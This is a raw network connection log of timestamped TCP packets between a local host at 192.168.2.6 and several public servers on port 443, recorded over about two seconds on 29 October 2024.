Oct 29, 2024 15:27:28.999420881 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:28.999434948 CET	49817	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:28.999443054 CET	443	49817	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.002130032 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.002193928 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.002273083 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.002429962 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.002448082 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.010417938 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.010809898 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.010867119 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.011288881 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.011322021 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.028373003 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.028971910 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.029001951 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.029439926 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.029449940 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.045937061 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:29.046016932 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:29.046180964 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:29.046448946 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:29.046464920 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:29.096765041 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.097296953 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.097317934 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.097758055 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.097768068 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.127605915 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.127676010 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.127847910 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.128077030 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.128092051 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.128104925 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.128109932 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.130956888 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.131045103 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.131159067 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.131336927 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.131352901 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.140928984 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.140961885 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.141009092 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.141032934 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.141072035 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.141294003 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.141321898 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.141336918 CET	49820	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.141345024 CET	443	49820	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.144072056 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.144105911 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.144284010 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.144442081 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.144458055 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.167563915 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.167656898 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.167870045 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.167958975 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.167958975 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.168004036 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.168030977 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.171849966 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.171865940 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.171935081 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.172230959 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.172240973 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.208683968 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208709955 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208718061 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208733082 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208771944 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208830118 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.208844900 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.208884001 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.208920956 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.209245920 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.209310055 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.209319115 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.224988937 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.224999905 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.225243092 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.225281000 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.225306988 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.225317001 CET	443	49816	4.245.163.56	192.168.2.6
Oct 29, 2024 15:27:29.225327015 CET	49816	443	192.168.2.6	4.245.163.56
Oct 29, 2024 15:27:29.231030941 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.231173038 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.231266975 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.231475115 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.231496096 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.231508970 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.231513977 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.239187956 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.239207983 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.239341021 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.239928007 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.239939928 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.418997049 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.446780920 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.446813107 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.448060036 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.448131084 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.450901031 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.450978994 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.451375961 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.451385975 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.499689102 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.546531916 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:29.546571016 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:29.546761990 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:29.547182083 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:29.547198057 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:29.707947016 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.708014965 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.708060026 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.708092928 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.708112955 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.708139896 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.708156109 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.708187103 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.711386919 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.711400032 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.717320919 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.717483997 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.717497110 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.738509893 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.763583899 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.763619900 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.794856071 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.805352926 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.825048923 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.825232029 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.825308084 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.825328112 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.839520931 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.843095064 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.843113899 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.844440937 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.844500065 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.844508886 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.854341984 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.857259035 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.857291937 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.863739014 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.865240097 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.865273952 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.867799044 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.874305964 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.874372005 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.874385118 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.879579067 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.883471012 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.885221004 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.885235071 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.894113064 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.895380974 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.895395994 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.902060986 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.903367043 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.903383017 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.919821024 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.935493946 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:29.948458910 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.948509932 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.948540926 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.948575020 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.948601961 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:29.948635101 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.948678017 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.948698997 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.948962927 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.949014902 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.949023962 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.949074030 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.951517105 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:29.956830978 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.956890106 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.959362984 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.959395885 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.971854925 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.975157976 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.975208044 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.975279093 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.975341082 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.975363970 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.983304024 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.983561039 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.983603001 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.989455938 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.989521027 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.989582062 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.995872021 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.997251987 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:29.997287989 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:29.998560905 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.001880884 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.002218962 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.003433943 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.004030943 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.004066944 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.009167910 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.012876987 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.012926102 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.015980005 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.016040087 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.016057968 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.022553921 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.025301933 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.025367022 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.029254913 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.032721043 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.032812119 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.036062002 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.036308050 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.036367893 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.038047075 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.042783976 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.045274019 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.045320034 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.049062967 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.049166918 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.049212933 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.056111097 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.056205988 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.056238890 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.062649965 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.062812090 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.062845945 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.069077969 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.069227934 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.069300890 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.075732946 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.077291965 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.077334881 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.082216024 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.082521915 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.082560062 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.093831062 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.093842983 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.094320059 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.094326973 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.094631910 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.094661951 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.094691038 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.094691038 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.094706059 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.094703913 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.094746113 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.094798088 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.095195055 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.095201969 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.095604897 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.095639944 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.096259117 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.096271038 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.097229004 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.097244978 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:30.098449945 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:30.098464966 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:30.098577023 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.100502968 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.100575924 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:30.101202965 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.101241112 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.101777077 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.101792097 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.102055073 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.102065086 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.102519035 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.102523088 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.102777004 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.103116035 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.103140116 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.107701063 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.107862949 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.107901096 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.112632990 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.112817049 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.112845898 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.116936922 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.117311001 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.117331028 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.119889975 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.119961977 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.119982004 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.125503063 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.147847891 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.147949934 CET	443	49824	216.58.212.174	192.168.2.6
Oct 29, 2024 15:27:30.148020983 CET	49824	443	192.168.2.6	216.58.212.174
Oct 29, 2024 15:27:30.149142027 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.149164915 CET	443	49826	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:30.197005033 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:30.225184917 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225208998 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225219965 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225259066 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225264072 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225286961 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225317001 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225344896 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225368023 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225372076 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225558996 CET	49830	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225575924 CET	443	49830	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225749969 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225750923 CET	49825	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.225815058 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.225822926 CET	443	49825	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.228518009 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.228600025 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.229202032 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.229264021 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.229279041 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.229320049 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.230648041 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.230736017 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.230988979 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234138012 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234179020 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.234240055 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234657049 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234673977 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.234837055 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234850883 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.234889984 CET	49827	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.234900951 CET	443	49827	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.235974073 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.235986948 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.235996008 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.236001015 CET	443	49828	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.236896992 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.236896992 CET	49829	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.236921072 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.236936092 CET	443	49829	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.244081020 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.244121075 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.244213104 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.244344950 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.244358063 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.245718956 CET	49836	443	192.168.2.6	13.107.246.45
